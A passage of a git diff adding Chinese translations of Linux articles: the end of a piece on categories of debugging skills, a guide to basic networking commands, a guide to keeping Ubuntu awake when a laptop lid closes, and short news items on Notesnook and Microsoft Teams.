+以下是这些行动: + +#### 1、学习代码库 + +要调试一些代码,你需要了解你正在使用的代码库。 + +这似乎有点显而易见(当然,不了解代码的工作原理,你就无法调试代码!) + +这种学习随着时间的推移会很自然地发生,而且实际上调试也是 *学习* 一个新的代码库如何工作的最好方法之一—— +看到一些代码是如何崩溃的,有助于你了解它是如何工作的。 + +该论文将此称为“系统知识”。 + +#### 2、学习系统 + +论文中提到,你需要了解编程语言,但我认为不止于此 —— 为了修复 bug,往往你需要学习很多更广泛的环境,而不仅仅是语言。 + +举个例子,如果你是后端 Web 开发者,你可能需要的一些“系统”知识包括: + +* HTTP 缓存如何工作 +* CORS +* 数据库事务是如何工作的 + +我发现我经常需要更有意识地去学习像这样的系统性的东西 —— 我需要真正花时间去查找和阅读它们。 + +该论文将此称为“领域知识”。 + +#### 3、学习你的工具 + +现在有很多工具,例如: + +* 调试器(GDB 等) +* 浏览器开发工具 +* 剖析器profiler +* `strace` / `ltrace` +* `tcpdump` / `wireshark` +* 核心转储 +* 甚至像错误信息这样的基本东西(如何正确阅读它们) + +我在这个博客上写了很多关于调试工具的文章,并且肯定学习这些工具给我带来了巨大的变化。 + +该论文将此称为“处理性知识”。 + +#### 4、学习策略 + +这是最模糊的一类,在如何高效调试的过程中,我们都有很多策略和启发式方法。比如说: + +* 写一个单元测试 +* 写一个小的独立程序来重现这个错误 +* 找到一个能工作的版本的代码,看看有什么变化 +* 打印出无数的东西 +* 增加额外的日志记录 +* 休息一下 +* 向朋友解释这个错误,然后在中途发现问题所在 +* 查看 GitHub 上的问题,看看是否有匹配的问题 + +在写这本杂志的时候,我一直在思考这个类别,但我想让这篇文章简短,所以我不会在这里多说。 + +该论文将此称为“战略知识”。 + +#### 5、获得经验 + +最后一个类别是“经验”。这篇论文对此有一个非常有趣的评论: + +> 他们的研究结果并没有显示出新手和专家所采用的策略有什么明显的区别。专家只是形成了更多正确的假设,并且在寻找故障方面更有效率。作者怀疑这个结果是由于新手和专家之间的编程经验不同造成的。 + +这真的引起了我的共鸣 —— 我遇到过很多第一次遇到时非常令人沮丧和困难的 bug,而在第五次、第十次或第二十次时就非常简单了。 + +对我来说,这也是最直接的知识类别之一 —— 你需要做的就是调查一百万个 bug,反正这就是我们作为程序员的全部生活 : ) 。这需要很长的时间,但我觉得它发生得很自然。 + +本文将此称为“经验知识”。 + +#### 就这样吧! + +我打算把这篇文章写得很短,我只是非常喜欢这个分类,想把它分享出来。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/08/30/a-way-to-categorize-debugging-skills/ + +作者:[Julia Evans][a] +选题:[lkxed][b] +译者:[aftermath0703](https://github.com/aftermath0703) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lkxed +[1]: https://twitter.com/b0rk/status/1562480240240525314?s=20&t=BwKd6i0mVCTaCud2HDEUBA +[2]: https://third-bit.com/ +[3]: https://dl.acm.org/doi/abs/10.1145/3286960.3286970 +[4]: https://www.researchgate.net/profile/Woei-Hung/publication/225547853_Learning_to_Troubleshoot_A_New_Theory-Based_Design_Architecture/links/556f471c08aec226830a74e7/Learning-to-Troubleshoot-A-New-Theory-Based-Design-Architecture.pdf diff --git a/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md b/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md new file mode 100644 index 0000000000..eed580ca5d --- /dev/null +++ b/published/202209/20220831 21 Basic Linux Networking Commands You Should Know.md @@ -0,0 +1,596 @@ +[#]: subject: "21 Basic Linux Networking Commands You Should Know" +[#]: via: "https://itsfoss.com/basic-linux-networking-commands/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15013-1.html" + +你应该知道的 22 个基本的 Linux 网络命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/09/151623qbizibbrzfrffrpc.jpg) + +我们并不是每天都会谈论 Linux 的命令行。但正如一些读者指出的那样,你们也想学习一些命令行的技巧。 + +因此,我整理了一份基本的 Linux 网络命令清单,这些命令在我的大学时代帮助了我,让我对如何在网络方面使用 Linux 有了坚定的认识。 + +这些命令将帮助你设置网络,以及解决你在 Linux 系统中可能遇到的各种网络问题。 + +### Linux 中的基本网络命令 + +这个汇编包括了 CLI 实用程序,它们将帮助你排除网络问题、监控数据包和连接的设备,以及更多。 + +在我展示这些命令的一些细节之前,让我分享一下我今天要讨论的所有命令的简要概述。 + +| 命令 | 说明 | +| :- | :- | +| `ip` | 操纵路由来分配和配置网络参数 | +| `traceroute` | 识别数据包到达主机的路径 | +| `tracepath` | 在追踪网络主机的路径时,获取最大传输单元 | +| `ping` | 通常用于检查主机和服务器之间的连接情况 | +| `ss` | 获得有关网络套接字的详细信息 | +| `dig` | 给出所有关于 DNS 名称服务器的必要信息 | +| `host` | 输出特定域和主机的 IP 地址 | +| `hostname` | 主要用于输出和更改主机名 | +| `curl` | 在网络上通过各种协议传输数据 | +| `mtr` | `ping` 和 `traceroute` 的组合,用于诊断网络 | +| `whois` | 获取有关注册的域名、IP 地址、名称服务器等信息 | +| `ifplugstatus` | 检测本地以太网设备的链接状态 | +| `iftop` | 监视与带宽有关的统计信息 | +| `tcpdump` | 数据包嗅探和分析工具,用于捕获、分析和过滤网络流量 | +| `ethtool` | 允许用户配置以太网设备 | +| `nmcli` | 用于网络连接的故障排除工具 | +| `nmap` | 主要用于审计网络安全 | +| `bmon` | 开源工具,用于监控实时带宽 | +| `firewalld` | 配置防火墙规则的 CLI 工具 | +| `iperf` | 测量网络性能和调整的工具 | +| `speedtest-cli` | speedtest.net 的 CLI 工具,用于检查网速 | +| `vnstat` | 主要用于监控网络流量和带宽消耗 | + +现在,让我们用例子和更深入的方式讨论它们。 + +请注意,并不是所有的命令都会预装。我已经添加了针对 Debian/Ubuntu 的说明。对于其他发行版,请使用你的软件包管理器进行安装。 + +#### 1、ip 命令 + +`ip` 命令是最基本的,但也是最重要的,你会发现系统管理员经常使用它,其用于从操纵路由到分配和配置网络参数。 + +虽然用例可能无穷无尽,但让我向你展示 `ip` 命令的最基本用例(寻找 IP 地址)。 + +``` +ip address +``` + +![ip address][1] + +同样,你也可以使用 `ip` 命令来持续监控设备的状态,请使用 `monitor` 参数而不是我们之前用来获取 IP 地址的 `address` 参数: + +``` +ip monitor +``` + +![ip monitor][2] + +#### 2、traceroute + +使用 `traceroute` 命令,你可以确定数据包到达主机的路线。而且,当你想询问数据包的传输情况和数据包所走的跳数时,它可能相当有用。 + +默认情况下,你的系统可能没有安装 `traceroute`,如果你使用的是 Debian 及派生的发行版(包括 Ubuntu),安装时只需使用一个命令: + +``` +sudo apt install traceroute +``` + +例如,追踪到 google.com 的数据包: + +``` +traceroute google.com +``` + +![traceroute google.com][3] + +默认情况下,`traceroute` 会使用 IPv4,但是你可以通过使用 `-6` 选项来改变这一行为,该选项将指示 `traceroute` 使用 IPv6。让我告诉你怎么做: + +![traceroute -6 google.com][4] + +#### 3、tracepath + +`tracepath` 命令用于发现 MTU(最大传输单元),同时追踪到网络主机的路径。它与我上面讨论的 `traceroute` 很相似,但它不需要 `sudo` 权限,而且也没有像它那么多功能。 + +但是,首先什么是 MTU? + +MTU 就是可以在网络上传输或接收的最大帧或数据包。 + +现在,让我们看一下 google.com 的 `tracepath` 的基本例子: + +``` +tracepath google.com +``` + +![tracepath google.com][5] + +同样,你可以使用 `-b` 选项同时打印出 IP 地址和主机名。 + +``` +tracepath -b google.com +``` + +![tracepath -b google.com][6] + +#### 4、ping + +[ping 命令][7](数据包网络飞龙探云手Packet Internet Groper 🤣) 可以说是在排除网络故障时最重要的命令之一,因为它是检查主机和服务器之间连接情况的最常用方法。 + +例如,我 `ping` 谷歌: + +``` +ping google.com +``` + +![ping google.com][8] + +这里,最后一行(`min/avg/max`)表示从指定的服务器获得响应的时间。 + +如果你得到一个错误提示 `bash: ping: command not found` (LCTT 译注:不会吧?),你可以查看我们的指南 [如何在 Ubuntu 上安装 Ping][9]。 + +#### 5、ss + +`ss`(套接字统计socket statistics)命令用于详细了解网络套接字(在网络上发送和接收数据的端点)。 + +要列出所有监听和非监听的 TCP 连接,你必须使用 `-at` 选项,如下所示: + +``` +ss -at +``` + +![ss -at][10] + +同样,你可以使用 `-au` 选项对 UDP 端口进行同样的操作: + +``` +ss -au +``` + +![ss -au][11] + +#### 6、dig + +[dig 命令][12](域信息龙爪手Domain Information Groper 😜)用于获取有关域名的所有必要信息。 + +要在基于 Ubuntu 的发行版上安装 `dig` 工具,请按照给出的命令进行: + +``` +sudo apt install dnsutils +``` + +现在,让我告诉你如何获取一个特定主机的信息,在这个例子中,我将获取 itsfoss.com 的信息: + +``` +dig itsfoss.com +``` + +![dig itsfoss.com][13] + +#### 7、host + +`host` 命令主要用于获取一个特定主机的 IP 地址,或者你可以从一个特定的 IP 地址获取主机名。换句话说,它是一个 DNS 查询工具。 + +要找到主机的 IP,你只需要在 `host` 命令中附加主机名。让我告诉你怎么做: + +``` +host itsfoss.com +``` + +![host itsfoss.com][14] + +同样,你可以用一个 IP 地址来获取主机名: + +``` +host 8.8.4.4 +``` + +![host 8.8.4.4][15] + +#### 8、hostname + +如果你已经使用了一段时间的 Linux,你一定很熟悉这个命令,因为这主要是用来 [改变你的系统的主机名][16] 和 NIS(网络信息系统)的主机名。 + +当不使用任何选项时,它可以得到系统当前的主机名。 + +``` +hostname +``` + +![hostname][17] + +从包含所需主机名的文件中改变主机名是这个工具的另一个有趣的功能: + +``` +sudo hostname -F +``` + +![sudo hostname -F][18] + +#### 9、curl + +`curl`(客户端 URLClient URL)命令主要用于在网络上传输数据,支持各种协议,包括 HTTP、FTP、IMAP 和许多其他协议。 + +这个工具是首选的自动化工具,因为它是在没有任何人类互动的情况下工作的,也可以用于端点测试、调试和错误记录。 + +`curl` 工具没有预装,如果你在任何 Debian 及其派生发行版上,你只需要使用以下命令进行安装: + +``` +sudo apt install curl +``` + +使用 `curl` 命令 [下载文件][19] 非常容易,你只需在 URL 中使用 `-O` 选项,就可以开始了。 + +``` +curl -O [URL] +``` + +![curl -o url][20] + +在下载大文件时,进度条会很方便,你可以用 `curl` 的 `-#` 选项来显示进度条。 + +![curl -# -O][21] + +#### 10、mtr + +它是 `ping` 和 `traceroute` 工具的组合,主要用于网络诊断,并提供网络响应和连接的实时情况。 + +使用 `mtr` 的最简单方法是用它跟上一个主机名或 IP 地址,它将给出一个实时的 `traceroute` 报告。 + +``` +mtr [URL/IP] +``` + +![mtr google.com][22] + +如果你想让 `mtr` 同时显示主机名和 IP 地址,你可以把它和 `-b` 选项配对,如下图: + +``` +mtr -b [URL] +``` + +![mtr -b][23] + +#### 11、whois + +`whois` 可以帮助你找到有关注册的域名、IP 地址、名称服务器等信息,因为它是 whois 目录服务的客户端。 + +这个工具可能没有预装在你的设备上,要在基于 Debian/Ubuntu 的发行版上安装,你可以使用给出的命令: + +``` +sudo apt install whois +``` + +一般来说,`whois` 命令是与给出的域名配对使用的: + +``` +whois [DomainName] +``` + +![whois google.com][24] + +另外,你也可以用一个 IP 地址来代替域名,你会得到同样的细节。 + +#### 12、ifplugstatus + +`ifplugstatus` 是一个最基本的,但也是最有用的工具,足以在基本水平上排除连接问题。它用于检测本地以太网的链接状态,其工作方式与 `mii-diag`、`mii-tool` 和 `ethtool` 类似,支持所有三个 API。 + +在基于 Debian/Ubuntu 的发行版上安装,你可以按照给出的命令进行: + +``` +sudo apt install ifplugd +``` + +这个工具没有任何花哨的选项,经常不需要与任何配对选项而使用: + +``` +ifplugstatus +``` + +![ifplugstatus][25] + +#### 13、iftop + +`iftop`(接口的 topInterface TOP)经常被管理员用来监控与带宽有关的统计数据,当你遇到网络问题时,也可以作为诊断工具使用。 + +这个工具需要手动安装,可以通过给出的命令在运行 Debian/Ubuntu 的机器上轻松安装。 + +``` +sudo apt install iftop +``` + +当 `iftop` 在没有任何选项的情况下使用时,它会显示默认接口的带宽统计。 + +``` +sudo iftop +``` + +![iftop][26] + +你也可以通过在设备名称后面加上 `-i` 选项来指定网络设备。 + +``` +sudo iftop -i . +``` + +在我的例子中,是 `enp1s0`,所以我的输出将是如下: + +![sudo iftop -i enp1s0][27] + +#### 14、tcpdump + +`tcpdump` 是一个数据包嗅探和分析工具,用于捕获、分析和过滤网络流量。它也可以作为一个安全工具使用,因为它将捕获的数据保存在可以 [通过 Wireshark 访问][28] 的 pcap 文件中。 + +像许多其他工具一样,`tcpdump` 没有预装,如果你是在Debian/Ubuntu 上,你可以按照下面的命令进行安装: + +``` +sudo apt install tcpdump +``` + +一旦你完成了安装,你可以获得当前接口的捕获数据包,如下所示: + +``` +sudo tcpdump +``` + +![sudo tcpdump][29] + +那么如何将捕获的数据包保存在 pcap 文件中呢?让我告诉你怎么做: + +``` +sudo tcpdump -w Captured_Packets.cap -i < networkdevice > +``` + +![sudo tcpdump -w][30] + +要访问保存的文件,你需要使用 `-r` 选项加上文件名。 + +``` +sudo tcpdump -r Captured_Packets.pcap +``` + +![sudo tcpdump -r filename][31] + +#### 15、ethtool + +顾名思义,`ethtool` 工具主要涉及管理以太网设备。使用这个工具,你可以调整网卡速度、自动协商特性等。 + +但它可能没有预装在你的机器上,可以通过利用给出的命令安装在 Debian/Ubuntu 机器上: + +``` +sudo apt install ethtool +``` + +要获取接口的详细信息,你只需在命令后面加上设备名称,如下所示: + +``` +sudo ethtool +``` + +![sudo ethtool enp1s0][32] + +#### 16、nmcli + +作为一个简单而强大的网络故障排除工具,它是任何系统管理员在排除网络故障时首先使用的工具之一,也可以在脚本中使用。 + +你可以使用 `nmcli` 命令来监控设备的连接状态: + +``` +nmcli dev status +``` + +![nmcli dev status][33] + +当不使用任何选项时,它将带来你系统中所有现有设备的信息: + +``` +nmcli +``` + +![nmcli][34] + +#### 17、nmap + +`nmap` 是一个探索和审计网络安全的工具。它经常被黑客和安全爱好者使用,因为它允许你获得网络的实时信息、连接到你的网络的 IP 的详细信息、端口扫描,以及更多。 + +要在基于 Debian/Ubuntu 的发行版上安装 `nmap` 工具,请使用给出的命令: + +``` +sudo apt install nmap +``` + +让我们开始扫描主机名: + +``` +nmap itsfoss.com +``` + +![nmap itsfoss.com][35] + +#### 18、bmon + +`bmon` 是一个开源的工具,用于监测实时带宽和调试问题,以更人性化的方式呈现统计数据。这个工具最好的部分是图形显示,甚至可以在 HTML 中得到你的输出! + +安装非常简单,因为 `bmon` 存在于流行的 Linux 发行版的默认仓库中,这也包括 Debian/Ubuntu。 + +``` +sudo apt install bmon +``` + +现在,你只需要启动 `bmon`,就可以用眼睛愉快地监控带宽了: + +``` +bmon +``` + +![bmon][36] + +#### 19、firewalld + +管理防火墙可以说是网络安全的核心部分,这个工具允许你添加、配置和删除防火墙的规则。 + +但是 firewalld 需要手动安装,如果你使用的是基于 Debian/Ubuntu 的发行版,你可以利用给出的命令进行安装: + +``` +sudo apt install firewalld +``` + +例如,我将向你展示,如何为公共区域永久地打开 80 端口: + +``` +sudo firewall-cmd --permanent --zone=public --add-port=80/tcp +``` + +![sudo firewall-cmd --permanent --zone=public][37] + +同样,要删除最近添加的规则,你必须使用 `-remove` 选项,如下所示: + +``` +sudo firewall-cmd --zone=public --remove-port=80/tcp +``` + +![sudo firewall-cmd --zone=public --remove][38] + +#### 20、iperf + +`iperf` 是一个用 C 语言编写的开源工具,允许用户进行网络性能测量和调整。 + +这个工具存在于 Debian/Ubuntu 的默认资源库中,可以通过给出的命令安装: + +``` +sudo apt install iperf +``` + +要开始监控网络,用户必须通过给出的命令在服务器上启动这个客户端: + +``` +iperf -s -u +``` + +其中,`-s` 选项表示服务器,`-u` 选项为 UDP 格式。 + +![iperf -s -u][39] + +现在,你可以通过提供首选协议的 IP 地址有效载荷连接到你的服务器(使用 `-c` 选项表示客户端)。在这个例子中,我选择了 UDP(使用 `-u` 选项),有效载荷为 100: + +``` +iperf -c 10.0.2.15 -u 100 +``` + +![iperf -c][40] + +#### 21、speedtest-cli + +顾名思义,这是 speedtest.net 网站的 CLI 工具。这个在 Apache 2.0 许可下发布的开源工具,当你想从 CLI 获得一个可靠的 [检查网速][41] 的来源时,会有很大帮助。 + +安装非常简单,如果你是在 Debian/Ubuntu 上,可以利用给出的命令轻松安装: + +``` +sudo apt install speedtest-cli +``` + +一旦你完成了安装部分,你只需要使用一行命令即可测试你的速度: + +``` +speedtest-cli +``` + +![speedtest-cli][42] + +#### 22、vnstat + +`vnstat` 工具主要被系统管理员用来监控网络流量和带宽消耗(大部分情况下),因为这个工具可以监控你系统的网络接口的流量。 + +和其他网络工具一样,你可以在默认的软件库中找到 `vnstat`,如果你在 Debian/Ubuntu 上,可以通过给出的命令进行安装: + +``` +sudo apt install vnstat +``` + +你可以使用 `vnstat` 命令,不需要任何选项,它将带来你系统所有可用接口的基本统计信息: + +``` +vnstat +``` + +![vnstat][43] + +对于实时监控,你可以将 `vnstat` 命令与 `-l` 选项配对。 + +![vnstat -l][44] + +### 一个长长的清单,对吗? + +这个汇编连冰山一角都算不上,只是分享了每个命令的目的和基本例子,因为增加更多的命令会使这个清单变得更长。 + +流行的但 [已废弃的 Linux 命令][45],如 `ipconfig`,已被故意排除在这个列表之外。 + +如果你很好奇,你可以学习 [如何最大限度地利用手册页][46],这将教会你如何使用任何实用程序的最大潜力。 + +如果我忘了提到任何你喜欢的东西,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/basic-linux-networking-commands/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/ip-address-1.png +[2]: https://itsfoss.com/wp-content/uploads/2022/08/ip-monitor.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/traceroute-google.com_.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/traceroute-6-google.com_.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/tracepath-google.com_.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/tracepath-b-google.com_.png +[7]: https://linuxhandbook.com/ping-command-ubuntu/ +[8]: https://itsfoss.com/wp-content/uploads/2022/08/ping-google.com_.png +[9]: https://linuxhandbook.com/ping-command-ubuntu/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/ss-at.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/ss-au.png +[12]: https://linuxhandbook.com/dig-command/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/dig-itsfoss.com_.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/host-itsfoss.com_.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/host-8.8.4.4.png +[16]: https://itsfoss.com/change-hostname-ubuntu/ +[17]: https://itsfoss.com/wp-content/uploads/2022/08/hostname.png +[18]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-hostname-f.png +[19]: https://linuxhandbook.com/curl-command-examples/ +[20]: https://itsfoss.com/wp-content/uploads/2022/08/curl-o-url.png +[21]: https://itsfoss.com/wp-content/uploads/2022/08/curl-o.png +[22]: https://itsfoss.com/wp-content/uploads/2022/08/mtr-google.com_.png +[23]: https://itsfoss.com/wp-content/uploads/2022/08/mtr-b.png +[24]: https://itsfoss.com/wp-content/uploads/2022/08/whois-google.com_.png +[25]: https://itsfoss.com/wp-content/uploads/2022/08/ifplugstatus.png +[26]: https://itsfoss.com/wp-content/uploads/2022/08/iftop.png +[27]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-iftop-i-enp1s0.png +[28]: https://itsfoss.com/install-wireshark-ubuntu/ +[29]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump.png +[30]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump-w-.png +[31]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-tcpdump-r-filename.png +[32]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-ethtool-enp1s0.png +[33]: https://itsfoss.com/wp-content/uploads/2022/08/nmcli-dev-status.png +[34]: https://itsfoss.com/wp-content/uploads/2022/08/nmcli.png +[35]: https://itsfoss.com/wp-content/uploads/2022/08/nmap-itsfoss.com_.png +[36]: https://itsfoss.com/wp-content/uploads/2022/08/bmon-800x591.png +[37]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-firewall-cmd-permanent-zonepublic.png +[38]: https://itsfoss.com/wp-content/uploads/2022/08/sudo-firewall-cmd-zonepublic-remove.png +[39]: https://itsfoss.com/wp-content/uploads/2022/08/iperf-s-u.png +[40]: https://itsfoss.com/wp-content/uploads/2022/08/iperf-c-.png +[41]: https://itsfoss.com/network-speed-monitor-linux/ +[42]: https://itsfoss.com/wp-content/uploads/2022/08/speedtest-cli.png +[43]: https://itsfoss.com/wp-content/uploads/2022/08/vnstat.png +[44]: https://itsfoss.com/wp-content/uploads/2022/08/vnstat-l.png +[45]: https://itsfoss.com/deprecated-linux-commands/ +[46]: https://linuxhandbook.com/man-pages/ diff --git a/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md b/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md new file mode 100644 index 0000000000..3f9798fcb4 --- /dev/null +++ b/published/202209/20220831 Don-t Suspend Ubuntu When Laptop Lid is Closed.md @@ -0,0 +1,94 @@ +[#]: subject: "Don’t Suspend Ubuntu When Laptop Lid is Closed" +[#]: via: "https://itsfoss.com/laptop-lid-suspend-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15015-1.html" + +如何在笔记本电脑合盖时不挂起 Ubuntu +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/09/230733ppyyws84ccgrc777.jpg) + +如果你在笔记本电脑上使用 Ubuntu,你可能已经注意到当你合上盖子时系统处于挂起状态。 + +这是预期的行为。它可以节省电池和你的工作。你掀开盖子,系统唤醒,你可以登录并继续工作。 + +这一切听起来都不错,除非你使用多显示器设置。像我这样的一些人更喜欢关闭笔记本电脑,只使用外接显示器。 + +但是,如果关闭笔记本电脑盖会挂起系统,那么会产生问题。 + +让我告诉你如何改变这种行为。 + +### 关闭笔记本电脑盖时不要挂起 + +实际上,我注意到最近的 Ubuntu 版本在这个情况下更智能。当笔记本电脑连接到扩展坞并合上盖子时,它不会进入挂起模式。 + +这是正常的预期行为,但由于 Ubuntu 某种神才知道的原因,它可能不会一直有效。 + +好消息是你可以使用 GUI 和命令行强制更改此行为。 + +让我分享这两种方法。 + +#### 方法 1:使用 GNOME 优化 + +如果你使用的是默认的 GNOME 桌面,那么你很幸运。 [在 Ubuntu 的软件中心安装 GNOME 优化(Tweaks)工具][1],或使用以下命令: + +``` +sudo apt install gnome-tweaks +``` + +安装后,启动优化应用。在侧边栏的常规General选项卡中,关闭“笔记本电脑盖合上时挂起Suspend when laptop lid is closed”按钮。 + +![change lid close behavior ubuntu][2] + +这就好了。你不需要重启即可使更改生效。 + +现在,让我们谈谈命令行方法。 + +#### 方法 2:更改登录配置(针对高级用户) + +如果你查看文件 `/etc/systemd/logind.conf` 的内容,你将看到三种不同类型的笔记本电脑合盖默认设置: + +* `HandleLidSwitch=suspend`:当笔记本电脑使用电池供电时,合盖挂起 +* `HandleLidSwitchExternalPower=suspend`:当笔记本电脑插入电源插座时,合盖挂起 +* `HandleLidSwitchDocked=ignore`:当笔记本电脑连接到扩展坞时,合盖忽略 + +![Default laptop lid closing settings][3] + +如你所见,如果合上盖子,笔记本电脑将挂起,无论它是否连接到电源。而连接扩展坞忽略合盖。 + +如果需要,你可以根据自己的喜好将这些参数的值更改为其中之一: + +* `suspend`:合盖时挂起 +* `lock`:合盖时锁定 +* `ignore`:什么都不做 +* `poweroff`:关机 +* `hibernate`:合盖时休眠 + +如果你不希望你的系统在笔记本电脑盖合上时执行任何特殊操作,我建议你使用 `ignore`。 + +你可以编辑 `/etc/systemd/logind.conf` 文件,或者在 `/etc/systemd/logind.conf.d` 目录中创建一个新文件,并取消注释上述设置并更改其值。如果此目录不存在,请创建此目录。 + +我不会给你确切的命令。如果你熟悉命令行,你应该可以做到。如果你对命令行感到不习惯,请使用前面的 GUI 方法。 + +我希望这可以帮助你。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/laptop-lid-suspend-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/gnome-tweak-tool/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/change-lid-close-behavior-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/laptop-lid-settings-ubuntu.png diff --git a/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md b/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md new file mode 100644 index 0000000000..63faff067a --- /dev/null +++ b/published/202209/20220902 Evernote Alternative Notesnook is Now Open Source.md @@ -0,0 +1,79 @@ +[#]: subject: "Evernote Alternative Notesnook is Now Open Source" +[#]: via: "https://news.itsfoss.com/notesnook-goes-open-source/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15001-1.html" + +印象笔记的替代品 Notesnook 现已开源 +====== + +![](https://news.itsfoss.com/content/images/size/w2000/2022/09/notesnook-ft.png) + +> Notesnook 是一个以隐私为重点的新的记事本应用程序,它决定开源了。 + +当你想到一个开源的安全记事本应用程序时,你会想到什么? + +可能是 [标准笔记][2]Standard Notes。 + +🔒 它是一个开源的、端到端加密的应用程序。而且也正是 Linux 用户最好的记事应用程序之一。 + +然而,提供类似于流行的印象笔记功能的注重隐私的标准笔记替代品较少。 + +幸运的是,我们有一个新的选择加入了名单,即 **Notesnook**。 + +📢 Notesnook 最近在 GPLv3 许可下进行了开源,以让社区帮助改进它,并确保该项目不至于走样。 + +目前,开发人员希望把重点放在改进 GitHub 仓库上,然后继续增加新的功能/其他开发活动。 + +### Notesnook:它能提供什么? + +![notesnook][5] + +Notesnook 是一个开源的零知识笔记存储平台,具有端到端加密功能。 + +与标准笔记类似,你可以免费使用它,也可以选择高级计划来解锁更多的好处。一些亮点包括: + +* 手机端的应用锁。 +* 私人笔记保险库。 +* 密码保护的笔记共享。 +* 跨平台。 + +界面看起来像是组合了各种有用的东西。我有兴趣单独写篇点评,或许写篇比较文章,听起来不错,对吗? + +它可用于 Windows、mac 和 Linux。你可以下载用于 Linux 桌面的 AppImage 文件,或者 .deb/.rpm。 + +🏷️ 💲 **为了庆祝开源**,Notesnook 还为其 [年度高级计划][6] 提供高达 75% 的折扣,并提供 30 天退款保证。你可以试一试,看看你是否需要高级计划。 + +在印度付费的话,我看到有 80% 的折扣,使得一年的订阅费用只有 10 美元。其他地区的情况可能不同。 + +探索其 [GitHub 页面][7] 或 [官方网站][8] 以了解更多。此外,你可以阅读他们的 [博客文章][9],了解他们为什么决定要开源。 + +> **[Notesnook][10]** + +💬 *你认为 Notesnook 作为一个以隐私为中心的新的记事应用程序怎么样?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/notesnook-goes-open-source/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/notesnook-ft.png +[2]: https://standardnotes.com/ +[3]: https://itsfoss.com/note-taking-apps-linux/ +[5]: https://news.itsfoss.com/content/images/2022/09/notesnook.jpg +[6]: https://notesnook.com/pricing/ +[7]: https://github.com/streetwriters/notesnook +[8]: https://notesnook.com/ +[9]: https://blog.notesnook.com/notesnook-is-going-open-source/ +[10]: https://notesnook.com/ diff --git a/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md b/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md new file mode 100644 index 0000000000..77f154eba6 --- /dev/null +++ b/published/202209/20220902 Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead.md @@ -0,0 +1,74 @@ +[#]: subject: "Microsoft Decides to Drop the Linux App for Teams to Replace it as a Progressive Web App Instead" +[#]: via: "https://news.itsfoss.com/microsoft-linux-app-retire/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14995-1.html" + +微软决定放弃 Teams 的 Linux 应用,而用渐进式网页应用取代 +====== + +> 微软将不再为 Teams 提供 Linux 应用。以下是你如何在 Linux 上使用 Teams 的方法。 + +![微软决定不再为 Teams 提供 Linux 